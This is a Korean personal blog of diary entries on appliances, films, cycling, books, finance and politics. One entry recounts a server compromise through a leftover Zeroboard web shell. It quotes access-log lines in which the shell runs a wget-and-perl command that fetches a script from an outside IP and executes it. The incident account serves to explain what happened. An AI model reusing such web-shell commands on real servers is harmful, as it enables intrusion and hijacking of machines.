다른 경우도 생각해 볼 수 있다.   진공 청소기를 2005년 구입해서 잘 사용하다가 2010년 1월 탈착식 헤드가 부러져 새로 구입해야 할 때 그 부속품이 제조사에 남아 있을 가능성이 얼마나 높을까? 대기업에서 어떤 시기에 주력으로 삼고 생산한 제품군의 부품과 악세사리는 장기간 동안 재고로 남아있을 가능성이 높다. 하지만 중소업체는  그때까지 살아있어 전화를 받아주면 그나마 다행이다. 불안해서 중소업체의 가전제품을 믿고 쓰겠나?

이런 예도 있다: 집에 있는 TV는 10여년 전에 구매한 중소업체의 브라운관 TV인데, 회사가 없어져 고장나면 수리 맡길 데가 없다. 그런데 비슷하게,  LG에서 10여년 전에 구입 당시 24만원을 주고 산 TV가 고장이 나서 수리 비용이 9만 5천원이 나온다면 과연 TV를 수리해서 쓸까?

 장기간 A/S 가능하고 재고를 보유할 수 있는 대기업이 좋아 보이지만, 단품 제품의 라이프사이클로 봐서는 별로 중요하지 않을 수 있다. 설령 재수가 없어 구입한 제품이 사자마자 고장나서 수리와 교환을 수 차례 반복하며 갖은 고초를 겪더라도 수십만 대가 팔려 정상적으로 사용되는 제품의 초기 불량율이 구매결정에 영향을 끼칠 이유는 되지 못한다.

참고로, 가전 제품 사는 요령이 컴퓨터 구입과 거의 비슷하지만 다른 점 하나가 있다. 컴퓨터 부속은 설계연한 이전에 사용 연한이 다한다. 컴퓨터 부속은 보통 2년 정도의 수명을 지녔다고 보는게 편하다. HDD는 보통 2년 이상이 되면 에러가 발생하기 시작한다. 나머지 부속들은 기술 발전의 속도 때문에 단종되어 시대에 뒤쳐진다. 이를테면 2년 전까지만 해도 SSD가 뭔지 모르는 사람들이 많았다.

멋지고 비싼 명품을 구매하던가, 가격 대 성능비에 집착하던가. 명품 살 돈 없으면 머리 굴리란 말인데, 머리 굴리기 귀찮을 때 추가비용이 발생한다. 예를 들어 중소업체의 제품이 스펙상 동일하거나 더 우수해도 LG 제품을 택했던/택하지 않았던 다수는 LG 제품을 추천하고 자기도 LG 제품을 구입한다.

Freedom
Freedom. 컵라면 선전이 무척 자주 나왔다. 과연 지구에 얼마나 큰 위성체가 떨어져야 지구가 폭삭 망할까? 그런데 컵라면 광고하려고 이런 7편짜리 애니를 만들었다니...

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Freedom. 지구는 무사합니다! 스포라서 줄거리를 말할 수 없지만 지구에서 날아온 메시지를 보고, 로켓 날리기가 컬트가 되버린 지구로 내려간 두 명의 정신나간 젊은이들의 모험담. 이야기의 뼈대가 되는 설정이 SF로 보나 극화로 보나 엉망이지만 로켓이 오락가락 하는 모습은 보기 좋았다.

The 40 Year Old Virgin.
The 40 Year Old Virgin. 마이클 스캇 사장님이 오타쿠로 등장. 아끼는 액션 피규어를 팔려니 가슴이 찢어진다는 거 이해한다. The Office의 인도 아가씨도 출연.

The 40 Year Old Virgin.
The 40 Year Old Virgin. 왼쪽 친구는 맨날 보네?

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식객: 김치전쟁. 자염 만들기. 동치미, 물김치 따위를 배추김치보다 좋아했다.

Heroes
Heroes.왼쪽부터, 인디아인같지 않은 인디아인, 일본인같지 않은 일본인, 일본인 행세를 하는 한국인. 끝날 때가 다 되었는지 낚시질이 예전보다 줄었다. 부디 극락왕생하소서.
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해킹

잡기 2010. 4. 2. 17:10
인간은 실재하는 사물과 존재하지 않는 연결을 천성적으로 추구한다. 심지어 실재하지 않는 것들과의 연결도 열광적으로 추구한다. 이를테면 램 상주하는 신과 도깨비는 대뇌의 피치못할 누더기 구조 탓이지 당신의 개성과 신념 탓이 아니다. 그런 거 안 쳐준다.

4월 1일. 5불 생활자 카페에서 온 메일: 5불생활자 세계일주 클럽 자체 추첨 결과 EBS 세계테마기행 후속편으로 기획된 '인류, 세계문화기행'에 ujulman2010과 내가 대표로 추첨되었다. 8개월 동안 4대륙 27개국을 여행하는데, 경비 일체를 제공하고 훗날 책으로 만들어 준단다. 낄낄 웃었다.

http://www.theplastiki.com/
 -- 명분을 만들어 이런 일도 한다. 정말 잘 논다. 부자 되면 나도 해야지.

http://www.hellofromearth.net/ -- 메시지들이 귀엽다. 이왕이면 Unicode로 각국의 언어 그대로 메시지를 보내면 더 좋았을껄.

대만서는 쓰나미 없어 오히려 실망 -- 인도네시아, 아이티, 칠레. 전설적인 ring of fire의 부활. 일본이 지진으로 작살나면 한국 경제가 타격을 입을텐데 그거 모르고 은근히 일본이 망하길 바라는 아이들도 있고(민비가 국모?), 내력이 있다 쳐도 옆 나라도 아닌데 먼 바다 저편의 한국이 싫다며 울부짖는 대만인들도 있고. 

3/25 zeroboard의 버그를 이용한 php script code injection에 의해 서버가 해킹 당했다.  좀비 서버로 사용해 다른 서버를 해킹하기 위한 용도로 사용한 것 같다. 해킹 당하기 전 부터 zeroboard의 버그를 알고 있었는데 (data/shell.php) zeroboard XE로 교체한 후 예전 소스를 안 지웠다.  logwatch를 보고 있었음에도 최근에 바빠서 건성건성 쳐다보다가 당한 셈.  http 로그에는 이렇게 남았다:
GET /bbs//data/shell.php?cmd=uname -a
GET /bbs//data/shell.php?cmd=wget http://194.160.227.34/ize;perl ize 193.231.196.100 80
ize이란 펄 스크립트를 다운받아 실행한 다음 몇 가지 바이너리와 스크립트를 받아오고 crontab에 /bbs/data/.pid/y2kupdate 를 등록한다. 특정 호스트로 대량의 트래픽을 발생시킨다. 호스팅 업체에서 서버의 트래픽이 비정상적임을 mrtg로 감지하고 서버를 차단해 토요일 오전 4시부터 10시 무렵까지 서버에 들어갈 수 없었다. 동일한 방식의 공격으로 많은 호스트가 당한 듯. 토요일에 잠시 포트를 열어 달라고 부탁해 ssh로 작업해서 복구했다. 일요일에 재발. 자세히 살펴보니 트래픽을 발생시키는 std 란 프로세스를 지우지 않았다. 원격 콘솔을 사용할 수 없어 월요일에 분당에 있는 IDC에 가서 복구했다. 피해를 조사해보니 해킹당한 계정은 없었다. 빈정 상했다.

토요일에 산에 가려다고 서버가 그 모양이 되서 원인 파악하고 해결 하느라 오전을 보냈다. 하는 수 없이 자전거를 타고 나갔다. 무수한 MTB를 신나게 추월해서 광교산 입구에 다다라 쉬고 있는데 추월한 아저씨들이 옆길로 올라가는 것이 보였다. 호기심에 그들을 따라 갔다. 광교산 입구에서 통신대까지 도로가 나 있는 것 같다.

한참 업힐 중에 멈췄다. 자전거를 손보지 않은 상태라 기어가 1단으로 내려가지 않는다. 젠장. 올해 처음으로 제대로 자전거를 타는 건데 무리할 이유가 없어 멈췄다. 뒤따라 올라오던 아저씨가(두 번 내게 추월 당한) '이거 일반 자전거죠?' 라고 물었다. 흘낏 그 아저씨 자전거를 보니 내 자전거의 10~20배 정도 되는 값비싼 자전거다. '네 그래서 속도가 안 나요.' 라고 말해 염장 처리 했다.

다운힐에서 55kmh 가 나왔다. 겁이 나서 브레이크를 자주 잡았다. 예전에 타고 다니던 27만원 짜리 유사 MTB보다 고속 주행시 안정감이 눈에 띄게 좋다. 역시 45만원이나 하는 비싼 자전거가 값을 하는구나 생각했다. 시내를 가로질러 가는데 비싸 보이는 사이클을 타고 다니는 한 무리의 사람들을 봤다. 언젠가 나도 저런 크로몰리 프레임을 타게 될까? 글쎄... 내 마음이 저렴해서.

사용자 삽입 이미지
아내의 요구 조건: 라디오 알람 나오는 디지탈 시계. 그 스펙이면 누구나 얼핏 모양이 아름답고 부드러운 소리가 나는 Tivoli Model 3를 생각하겠지만 난 다르다. 값싸게 대충 만든 중국제 잡표가 전광석화처럼 떠오른다. 이렇게 구입한 라디오 알람 시계에는 신기한 기능이 있다. LED 전구로 천정에 시간을 투사할 수 있다. 라디오 시간 동기(KBS 라디오 전파를 받아 라디오의 시간을 자동으로 맞추는 기능)가 없는 것이 아쉽다. 아이 밥 먹이고 어린이집에 데려다 줘야 해서 아내는 알람을 7시에 맞췄다. 때문에 졸지에 나까지 그 시간에 출근 준비를 했다. 개발자란 모름지기 아침에 푹 자야 창의력과 집중력이 생기는데.

굳이 디지털 시계를 구입해야 하는 까닭: 바늘 시계의 틱틱 소리 때문에 신경이 곤두선다나? 아내만 그런 줄 알았는데 다른 여자들도 그런 것 같다. 그런데 나는 시계 소리 들으면 잠이 잘 온다.

틱... 틱... 틱...
전기양 세 마리.
틱... 틱... 틱...
전기양 다섯 마리.
한 마리는 어디 갔을까?
죽었지.

100여만원에 거래된다는 '무소유'를 판매해 아이가 다니는 어린이집 월납금에 보태려고 했는데, 집에 굴러다니던 그 책이 언제인지 없어졌다. 개똥도 약에 쓰려면 없다더니. 법정의 저작 '무소유'를 어린 시절에 읽었다. 당시에는 내가 심한 무소유 상태라서 읽어도 아무 느낌이 없었다. 무슨 내용이었는지 기억도 안 난다.

몇 개월 전부터 자칭 파이낸셜 플래너(속칭 보험 설계사)가 끈질기게 전화를 걸었다. 가입한 보험상품에 문제가 있으니 만나서 재무 설계를 도와주겠단다. 문제가 뭐냐고 물으니 내용이 길어 만나서 얘기하잔다. 바쁘다고 줄곳 거절했지만, 만나서 얘기듣는데 손해볼 것 없지 않느냐고 참 질기게 설득한다.

사무실 근처 커피숍에서 인사했다. 한 30분은 재무설계 하는 척 하더니 인터넷으로 가입했던 저축보험을 해약하고 변액보험으로 갈아타라고 충고한다. 보아하니 인터넷으로 가입한 사람들을 찾아 돌아다니며 보험 설계랍시고 가입자를 설득해 신규 보험으로 갈아타게 해서 보험 설계사 수당으로 먹고 사는 것 같았다(왠지 내가 부러 시간내서 똥 밟은 기분). 최저 4% 연 복리가 보장되는 저축보험의 장래야 장기 저금리 시대가 도래해 앞날이 무척 암울하지만, 애당초 연 4% 가정하고 가입했기에  바꿀 생각이 없다.

그 날 따라 거래처 전화를 기다리며 딱히 할 일이 없어 한가한 오후였다. 재테크에 관해 피차 이런 저런 쓸데없는 얘기를 주고 받았다. 미래가 얼마나 절망적이며 내가 얼마나 무계획하게 살아가고 있는지 침 튀기는 웅변(거의 절규에 가까운)도 들었다.

이렇게 만난 것도 인연인데, 커피도 얻어 마셨고, 그 양반에게는 내가 주식투자로 푼돈 번 성공담을 얘기해 주고(난 시장에서 저평가되는 싼 주식 중 내가 아는 IT 분야의 유망 중소 종목만 2-3% 수익을 목적으로 쩨쩨하게 주식투자한다.  그랬더니 한달에 5~10만원은 버는 것 같다. 경제도 배우고 실패도 배우고 게다가 생활에 보탬이 된다 당신도 함 해봐라 하이닉스가 블록세일에 성공해서 앞날에 거추장 스러울게 없다. 3만원 보고 몇 개월 잼겨 놓았고 6월쯤에 환매할 예정이다. STS 반도체는 삼성의 SSD를 받아 테스트한다. 꽤 싼 주식인데 내 경우 6천원에 들어갔고 지금 7천원인데 만원 보고 있다. HTS 보고 사냐고? 하루에 2-3번 본다. 단타는 안 한다.).

최근에 배운 재테크 기법을 잘난 체 하며 전수해 주기도 했다. 변호사, 의사 등 고소득 직종군에서 요새 유행하고 있는 '풍차 돌리기'라는 것인데, 환금성과 복리 효과 두 마리 토끼를 잡는 비결이다. 목돈이 있으면 비교적 금리가 높고 세제 혜택이 있는 신협에서 1개월 단위로 최저 예금액으로(보통 100~200만원 수준) 매월 가입해 12개의 통장을 만드는 것이다. 그리고 1년이 지나면 최초 가입한 예금을 해약하고 원금+이자를 받아 다시 예금에 넣는다. 깨기 힘든 적금이나 예금과 달리 목돈이 필요할 때 즉시 환금할 수 있으며 복리 효과도 유지된다.

입만 열면 72의 법칙 운운 하는 그가 복리 계산식을 잘 모르는 것 같아 노키아폰을 꺼내 공학용 계산기로 가르쳐 주었다. S = I * (1 + r) ^ y (S: 총액, I: 초기금액, r: 이율, y: 연수) 이렇게 해서 애써 모은  3천만원의 목돈으로 연복리 5.7%(현재 시중의 저축은행 중 가장 높은 금리)로 10년을 굴려야  S = 3000 * ( 1 + 0.057) ^ 10 = 5222만원이 된다. 어떻게 보면 인덱스 펀드만도 못한 수익율일 수도 있다.

악수 하고 헤어질 때 그 양반이 이렇게 말했다: 유익한 시간이었어요.
그럼 나는!?

봄은 참 늦게 왔고 그 동안 참 차게 지냈다. 난방비 7만원에 아내가 기겁해서 보일러를 꺼 버렸고 아이는 감기를 달고 살았다. 아파트 지역 난방 밸브 조절 무의미 -- 요점 정리: 유량으로 측정하면 난방비가 더 나온다(기지의 사실). 들어오는 물의 온도와, 나가는 물의 온도차로 측정하는 적산 열용량계를 신청해서 달면 난방비를 아낄 수 있다. 참고자료: http://music24.kr/xe/4550 또는, http://www.jay.or.kr/sub_read.html?uid=1394&section=section17 아파트에 설치된 것이 적산 열량계로 추정된다. 고로 교환할 필요가 없을 것 같은데, 관리실에 묻는 걸 번번이 잊어버렸다. '가스 요금 2012부터 열량 단위 부과' -- 이런 기사도 있는데, 음식하기 힘들 정도는 아니겠지?

3/20 제프 벡 내한 공연에 못 가서 기분 더럽다. 블로그에 제프 벡 공연 갔다왔다고 자랑하는 거 보면 부러웠다. 며칠째 그의 디스코그래피를 전부 듣고 있다. 휴대폰 벨소리를 Cause We've Ended As Lovers로 바꿨다. 비디오의 저 여자애는 누구지? 오... 하하. 생각난 김에 연락처를 그룹으로 나누고 벨소리를 각각 다르게 지정했다.   Mellow Candle의 Heaven Heath, Boulders on my Grave,   Latte E Miele, Terzo Quadro , Beatles, Here Comes the Sun , Octopus's Garden, Klaatu, Hope, Yngwie Malmsteen, As Above, So Below, 밤에 사무실에 앉아 연락처를 그루핑하고 벨소리를 편집하다보니 만족스럽기 보다는 밤 늦게까지 뭐 하는 짓인가 싶어 비웃음이 나왔다.

곽영욱, 총선때 한명숙 계좌에 100만원 송금 -- 정말 장한 일 했다. 검찰.

6/2이 지방선거다. 바빠서 후보들의 뒷조사를 할 시간이 없다. 유시민이 경기도 지사 후보로 출마했다. 별 고민없이 그를 찍을 것이다. 정운찬 총리는 세종시 수정안에 관해 '다소 손해를 보더라도 약속을 지켜야 한다'는 자신의 철학이 담긴 자서전을 면전에서 흔드는 한 국회의원에게 당혹스러운 표정을 지었다. 세종시 수정안을 반대하는 박근혜에게는 국민과의 약속을 지킨다는 명분이 있다. 여당이 두 패로 나뉘어 아귀다툼을 벌이고 있는 와중에 청와대 이동관 수석은 '대구, 경북 놈들 문제 많다'고 말했다. 그러고도 안 짤리는 걸 보니 이명박 대통령의 의중을 적시한 것인가 보다. 여당이 좀 더 힘차게 싸우다가 열받은 이명박 대통령이 장중한 결단을 내리길 바란다. 이 나라가 쪼개지건 말건 결단(자뻑)은 물론 국민투표가 바람직했다.

늘 생각이 많은 직장인 x씨는 이렇게 말했다: 아 심심해서 자살하고 싶다.  스타일을 중시하는 베짱이들은 한겨울 추위 속에 식량이 떨어져도 개미 집 앞에서 문을 두드리며 비참한 꼴을 보이는 대신, 눈보라치는 벌판에 드러누워 말없이 피식 웃고 시크하게 죽었다.
 
제임스 모로, 하느님 끌기 -- 설익은 번역. 징글징글하고 별로 즐기고 싶지 않은 농담 따먹기라 웃기지 않았다. 북스피어는 에스프레소 노벨라 발행에 즈음해 '책은 재미가 없으면 말짱 꽝이다'란 발행 철학을 내세웠다.

로저 젤라즈니, 집행인의 귀향 -- 에스프레소 노벨라 첫 권. 왠지 변죽만 울리다 끝난 것만 같다. 이왕 맘 먹었으면 팔 걷어붙이고 도스토예프스키처럼 썼으면 얼마나 좋아? 행맨과의 격투에 관해 번역자와 대체 그런 아크로바트가 어떻게 가능한가 뒷다마를 깠다. 그래도 하인라인이나 실버버그, 아시모프처럼 동시대상이 반영되어 지금 읽기엔 구질구질한 로봇과 인공지능의 실존에 관한 거개 SF작가들의 견해보다 젤라즈니가 상대적으로 세련된 것이다.

울라프 스태플슨, 스타메이커 -- 옛날 SF임에도 최근의 우주론의 대세와 부합되지 않는 몇 가지를 첨삭하고 고루한 문장을 조금 손 보는 정도 외에는 길이 남을 기념비적인 작품이다. 중반 이후론 재미가 없지만. 올 가을 쯤에는 때가 되었으니 과천 과학관에 가서 아이에게 별들을 구경시켜 줄 것이다. 과천 과학관에서 혹시 플라네타리움 전용 필름 같은 걸 상영 하는지 모르겠다.

오랫만에 서울에 갔다. 여자들은 생각보다 별로 안 예뻤고(복식만 그럴 듯) 대개의 사람들이 지하철에서 우측보행을 했다. 생각 외로 금새 자율화되는 것 같아 의아했다.
우측보행이 일반화된다면 보행 편의성은 크게 좋아진다. 한국교통연구원의 가상 시뮬레이션에 따르면 보행속도는1.2~1.7배 증가하고 충돌 횟수7~24%,보행밀도 19~58% 감소 등이 이뤄진다. 보행 편의성이 좋아진다는 의미다. 한국교통연구원의 이종훈 연구원은 현실과 다소 차이는 있을 수 있지만 효율적인 보행방식임은 틀림없다고 설명했다.

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선경 도서관. 4월초 시내 모든 도서관을 연계하는 작업 때문에 며칠 문을 닫는다. 시스템이 바뀌면 대출 연장이 가능했으면 좋겠다. 책 읽을 시간은 나날이 줄어간다.

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맑은 날에는 노키아 휴대폰으로도 사진이 그럭저럭 잘 나왔다. 카메라 패치를 하면 확대해도 덜 깨진다. 아이를 데리고 팔달산에 올라갔다가 성벽길을 하릴없이 걸었다. '아빠 말 안 들으면 같이 안 놀아줄 꺼야' 하면 고분고분해졌다. 아이를 목마 태우고 고갯길을 오르락 내리락 하면 운동이 된다.  

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The Hangover. 엔딩 크레딧을 끝까지 본 흔치 않은 코메디. 엔딩 크레딧에 나오는 사진들을 보지 않으면 영화를 봤다고 할 수가 없을 듯.

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이로써 밀레니엄 3부작을 모두 영화로 봤다. 1편에서 봤던 대로 여전히 귀엽고 똑똑한 아가씨다. 어떤 면에서는 무슨 짓을 하던지 쉽게 그 행동과 정서가 이해가 가는 보기 드문 '여자'여서 더더욱 애착이 가는 것 같다. 시스템이 그녀의 복수를 해줬지만 마무리는 깔끔하게 그녀 몫이었다. 한편으로는 스웨덴이 부러웠다. 한국은 강간 피해자들에게 '왜 저항할 생각을 안 했냐'고 묻는 싸가지 없고 좆같은 시스템이 지배한다. 밀레니엄 시리즈를 계속 보고 싶은데, 유감스럽게도 작가가 죽었다.

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Legend of the Seeker. 정 붙여 보려고 노력 중인 드라마. 스토리/시나리오에 딱히 흠 잡을 것은 없는데 왜 이렇게 극화가 매 화마다 짜증나나 싶더만 별로 이미지가 어울리지 않는 것 같은 배우들, 액션,  연출 때문이다. 하지만 가슴은 훌륭했다.

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전우치. 딱히 걸리적거리는 게 없어 즐겁게 봤다. 남자 주인공이 인상적이라 누군가 했더니... 그 유명한... 음. 여전히 이름은 모르겠다. 저 여자애는 아무나 해도 될 역이지 싶다.





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GLXP

잡기 2010. 2. 22. 16:42
Google Lunar Xprize: 2012년 12월 31일까지 달에 탐사선을 착륙시키고 로봇으로 달 표면을 500미터 이상 주행한 다음 이미지를 보내주면 상금을 준다. 달 탐사 계획에 필요한 비용은 알아서 펀딩을 받아야 한다. 오바마는 달 계획을 포기했다. 사정이 이해가 가지만 안타까웠다. 먹고 사는 것과 상관없는 이런 바보같고 멋진 프로젝트를 민간 기업이 기획한다니 박수라도 열심히 치자.

최근 인기를 끌고 있는 소셜 네트웍 앱스는 나같은 개발계나 문학계 자뻑 왕따들에겐 쓸모없는 서비스다. 누가 내 일에 관심 가져주는 거나, 삽질 과정이나 가십, 자랑꺼리를 여기저기 퍼뜨리면서 사회화의 장점(또는 혜택)을 누리고 싶지 않아서. 그런데 대체 사회화의 장점이나 혜택이 뭐지? 자뻑 왕따는 주어진 환경에서 자력갱생, 자가발전, 자급자족 등이 가능한 완벽한 상태인데. 농담.

Modern Family가 Bing Bang Theory 보다 취향에 맞는 것 같다. 빅뱅 이론의 늘 뻔한 코드와 반병신스럽게 묘사되는 오타쿠의 불편한 사회부적응 에피소드는 어렸을 적에 경험해 볼 만큼 해서일까? 처음에는 코드가 맞는 듯 하더니 날이 갈수록 재미가 없다. 흡시 일상에 독거하는 피치못할 지겨움을 재연하는 것처럼.

오리처럼 꽥꽥 대고 오리처럼 걷는다면 그것은 오리다. -- Duck Typing의 정의. -- 프로그래밍이 점점 실존적으로 변해가는 것일까? 시간이 많이 흘러 오랜 세월 배운 것들을 대부분 잊어버렸다. 술자리에서 erlang 얘기가 나왔다. 난 루비 얘기를 했고 플랜9의 적자인 go나 c의 적자인 d에 관한 얘기는... 할 틈이 없었다. 주변에 그런 얘길 나눌만한 사람이 없다. 현실은 시궁창이라 여전히 c++을 사용했다. 농담. 오래전 STL 도입 초기에 뻔질나게 하던 것이 벤치마크였다. 벤치마크 결과는 시중에 떠도는 프로그래머들의 말이 구라이거나 불완전하다는 것을 보여줬다. 그 후로는 STL을 죽 사용했다.

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마누라 친구가 찍은 것 같은데, 난 이런 각도로 사진을 찍어본 적이 없다. 원본 사진이 좀 구리다. 미련없이 가위질했다. 크롭질을 비롯한 사진 후보정을 모두 포함한 것이 사진 예술이라고 읽었던 기억이 난다. 하지만 원본이 구리면 만사가 허사다.

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그런데... 나는 지금까지 호랑이 새끼를 만져본 적이 없다. 이러다가 아이가 호랑이는 인간의 친구라는 어리석은 편견을 가지게 되지는 않을까?

라파엘로가 활동하던 시대의 그림들 대부분이 구리고 시시한 것들이지만(성화를 대체로 꺼리는 취향 탓도 있고) 이제는 그런 것들을 이해하는 것이 교양의 한 방편이 되었다. 게다가 저 먼 땅덩이에 본인과 관계없이 사는 사람들이 어떻게 살았는지 알아야 그림이 제대로 보인단다. 아는 만큼 보인다나? 어디서 들은 말, 아무데나 갖다 붙이면 맞을 것 같지?

댄 시먼즈의 올림포스는 세익스피어 전부는 몰라도 템페스트 정도는 읽어야 하고, 호메로스와 베르길리우스의 저작과, 별자리에 얽힌 설화를 암기하는 것보다는 그리스 신화의 짜임새에 관해 좀 더 알아야 매니악하게 즐길 수 있긴 한데, 그런 것들 몰라도 재밌다. 댄 시먼즈가 글빨이 좋기 때문이다. 말하자면 어떤 작가가 마술사, 명장 소리를 들을 지경이 되면 배경지식이나 교양이  없어도 작품만으로 거개의 심금을 울릴 수 있다고 믿는다.

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아내는 기어코 빨간 두건 코스프레를 해냈다. 결혼 전에는 젊은 엄마들이 딸애 옷 갈아 입히는 것이 로망이라는 얘기를 콧방귀를 뀌며 흘려 들었다. 내가 뭐에 씌인 건지 별로 잘 생기지 않아 평소 다행이라고 생각하던 딸아이가 이런 옷을 입혀 놓으니 정말 그럴듯해 보였다. 바구니 하나 주고 숲속에 풀어놓으면 완벽할 것 같다.

1/17. 예전에 시간이 부족해 안양에서 안산까지 가지 못한 것이 아쉬워 눈이 녹다만 수리산에 다시 올랐다. 명학역-관모봉-태을봉-슬기봉-수리봉 까지 꾸역꾸역 걸어갔다. GPSr을 쳐다보지 않다가 길을 잘못 들었다. 납다골로 이어지는 임도를 따라 죽 내려오다가 눈밭에 자빠졌다. 1.5km쯤 걸어 산을 내려와 다시 3km를 꾸준히 걸어 반월 저수지에 다다랐다.

오후 늦은 시각인데 반월 저수지 유원지에는 인적이 드물었고, 저수지는 딱딱하게 얼어 있다. 얼음 두께가 10cm는 족히 넘을 것 같다. 조심스럽게 저수지를 가로질렀다. 새하얀 눈 위에 내 발자국만 꾸준히 이어졌다. 동쪽으로 방향을 틀어 저수지 입구까지 얼음 위를 살살 걸어 영동 고속도로와 만나는 곳까지 가니 누군가 이글루를 만들어 놓았다. 지도에는 안 나오는 무슨 물전시관이 보였다. 논밭을 가로지르는 농로를 따라, 청둥오리가 얼음을 깨고 둥둥 떠있는 작은 개울을 끼고 대야미역까지 걸어갔다. 드물게 기분좋은 산행이다.

1/8~24. 예전 회사의 OB 모임에 갔다. 오랫만에 본 유씨는 내 블로그가 재미가 없어서 요새 안 들어온다고 말했다. 안 그래도 이 블로그에 지인이라고, 안부가 궁금해 찾아오는 사람들은 최근 몇 년 새 급격히 줄었다. 적어도 내가 아는 한 딱 세 사람만 들어오는 것 같았다. 그중 박씨는 '육아 블로그 잘 보고 있다'고 말했다. 그러고보면 그 많던 자폐증 환자들과 스토커들이 홈페이지에 안 들르고 다 어디로 갔을까? 내가 세월과 노고에 지치고 망가져서 예전같은 매력을 잃어버린 아저씨가 되어서일까, 아니면, 이 세상은 어떤 찌질이의 독아론보다는 한 뼘 더 넓다는 것을 나이 먹다가 문득 깨달아서일까.

인간이 인간이게 하는 조건 두 가지가 있는데, 그게 뭔지 잊어버렸다. 한 30년 개고생해서 얻은 다음 간신히 엑기스만 추려놓고 매년 스스로에게 그것을 잊었는지 기억하는지 물었다. 참 어처구니가 없다. 어처구니란 멧돌의 손잡이를 말하는 것이라고 누가 어디 글에 써놨다. 어처구니가 멧돌 손잡이가 맞긴 한데, '어처구니가 없다'의 어처구니는 한옥 지붕에 얹어놓은 조그만 짐승 조각상들이 맞을텐데? 풍상에 시달리다가 어느날 그것이 갑자기 사라지면 '어처구니가 없다'고 말한다고 오래 전에 책에서 본 것 같은데... 이런 쓰잘데기 없는 것들만 기억하고 정작 중요한 것은 잊었다. 하여튼 인간 조건과 마찬가지로 이 블로그는 생계 유지에 도움이 되지 않으니까 방문자가 사라진 것이다. 사실 방문자가 사라지건 말건 개의치 않았다.

고씨는 ebook reader가 성공할 것 같냐고 물었다. ebook은 책과 달리 남들에게 자랑꺼리가 되지 못할 뿐더러 자기 자신도 구입후 흡족한 기분을 느끼지 못한다. 그게 작년부터 몇몇 출판사의 세계문학 문고판 시리즈가 성공하고 있는 이유였다. 물리적 실재감을 주는 '책'은 이 나라에서 교양인의 자부심 같은 것이다. 말하자면 ebook 리더가 허영심을 자극하지 못한다고 주장했다.

장기적으로 책이 사라지고 전자매체로 전환하게 될까? 현재 기술수준으로는... 책은 배터리 없이 약 100년 이상 작동한다. 현존하는 전자기술로는 책처럼 fault tolerant한 미디엄을 대중화시키지 못했다 -- cd는 일부분이 부러지면 읽지 못하지만 책은 일부가 찢어져도 내용을 알아볼 수 있다. 앞으로 2-30년 동안 책의 수명이 갑자기 단축될 것 같지는 않았다. 아직까지 적은 에너지로 정보의 보존이 가능하고, 정보의 소실이 총체적 접근 불능으로 이어지지 않으며, 수천 년 동안 장기간 인간의 지각 체계와  적은 비용으로 호환이 유지되는 혁신적인 기술이 존재하지 않는다. 사진과 글자가 적힌 책이 현재로썬 유일하다. -- 운석 한 방으로 천년 가량의 암흑기가 도래하면 이렇게 풍성하고 시끄러운 디지털 문명은 끝장이 나지만 책은 그래도 남아 있을 수 있다.

'다시 책이다' -- 요즘 도서관에서 벌어지고 있는 캠페인인 줄 알았는데... 책 제목?

후배와 술자리에서는 가방을 잃어버렸다. 다시 찾았다. 그 가방은 잃어버리기엔 너무 좋으니까. 목요일부터 목이 부어 일요일에 병원에 갔다. 홈플러스 안에 일요일에도 하는 내과가 있다니 신기했다.

1/30. 가지고 있는 자전거를 모두(3대) 정비했다. 사고로 망가졌다가 자전거 가게에서 고쳐온 자전거는 대체 이게 고친게 맞는지 의심스럽다. 허우대가 멀쩡하지만, 휠 정렬이 엉망인데다 앞 뒤 디레일러 조정이 잘못되어 기어 전환이 잘 안 된다. 앞 브레이크를 잡으면 자전거가 꿀렁꿀렁 요동을 쳤다. 그 동안 그 자전거를 안 타고 문 밖에 방치해 두어 사정이 그러한 줄 몰랐다.

두번째, 사고 후 한 번도 안 탄 채 베란다에 고이 모셔둔 자전거의 디스크 브레이크 이격을 조정하고 베어링을 교체했다. 리튬 그리스도 잔뜩 발랐다. 팔려고 했지만 팔아봤자 똥값 받을 것 같다. 그래서 내가 타기로 했다. 세번째, 아내 주려고 사 놓고 주로 도서관 갈 때 타고 다니던 접이식 자전거의 뒷 바퀴를 뜯어 뻑뻑한 베어링을 손 보고 체인 링크를 달았다. 자전거 세 대 손보는데 네 시간쯤 걸렸다.

손때가 묻은 오래된 자전거를 몰고 시내주행을 해 봤다. 도저히 장시간 타고 다닐 수 있을 것 같지 않다. 가까운 거리에 장 보러 갈 때나 쓸 정도다. 사무실과 집이 가까운 직원이 출퇴근에 사용한다길래 주기로 했는데 언제 물건을 건넬 지는 모르겠다. 일왕 저수지까지 30분쯤 달렸다. 귓가로 스치는 바람이 아직 차가워 귀가 얼어붙었다. 반면 폴라폴리스와 트레이닝 복을 입은 상체는 땀이 났다.

J.D. Salinger가 사망했다. 삼가 고인의 명복을 빈다. 금세기에는 내가 어렸을 적에 읽었던 책들 대부분의 저자가 사망할 것이다. 나도 마찬가지고. 자전거 타고 올라간 중앙 도서관에는 존 업다이크의 소설 여덟 권(희안하다!), 코맥 메카시의 책이 네 권 있다. 코맥 메카시의 책을 아직 한 권도 읽어보지 못했다. 재미있을까? 재밌다는데, 읽어보면 알겠지.  

수원 중앙 도서관의 분위기가 좋다. 어깨가 닿는 비좁고 정겨운 서가, 아주 오래된 책에서 풍기는 냄새, 출입문을 열자마자 정기간행물 열람실과 도서 열람실이 바로 있다. 그래서 문을 열자마자 책이 확 다가와 기분좋은 긴장과 흥분을 느꼈다. 왼쪽에는 아이들 문고가 따로 있다. 산꼭대기에 있어 전망이 좋았다. 시내의 모든 도서관을 들르면 어쩐지 오타쿠 바보같아 보여서 다른 도서관에는 가지 않기로 했다. 지금까지 여섯 군데의 도서관을 돌았다.

그런데 내가 얼음과 불의 노래 4부 '까마귀의 향연'을 읽기는 한 건가? 도무지 기억이 나지 않았다. 다음 번에는 빌려올 것이다. -- 빌렸다. 읽었다. 폭풍처럼 휘몰아치는 온갖 가문의 온갖 인물들. 전 편에 비해 조금 맥이 빠졌지만 여전히 재미있게 읽었다.

1/25~1/31. 본사 서버에 접근하고 문서관리를 일원화하기 위해 SMB 터널링을 했다. 시간이 나는대로 openLDAP를 셋업하던가 뭣하면 익스챈지 서버라도 설치해야겠다. DNS server를 조작하는 해커 녀석들 때문에 홈페이지가 이상한 피싱 사이트로 연결되었다. 내친김에 white domain에 등록했다. 아이를 데리고 토이저러스에 갔다. 눈빛을 반짝이며 상가를 헤메다니는 아이들과 그들 손에 질질 끌려다니는 부모들을 볼 수 있었다. 소울이는 공룡을 집어 들었다. 집에는 이제 온통 공룡뿐이다. 도시락으로 싸온 딸기를 아이와 나눠 먹었다.

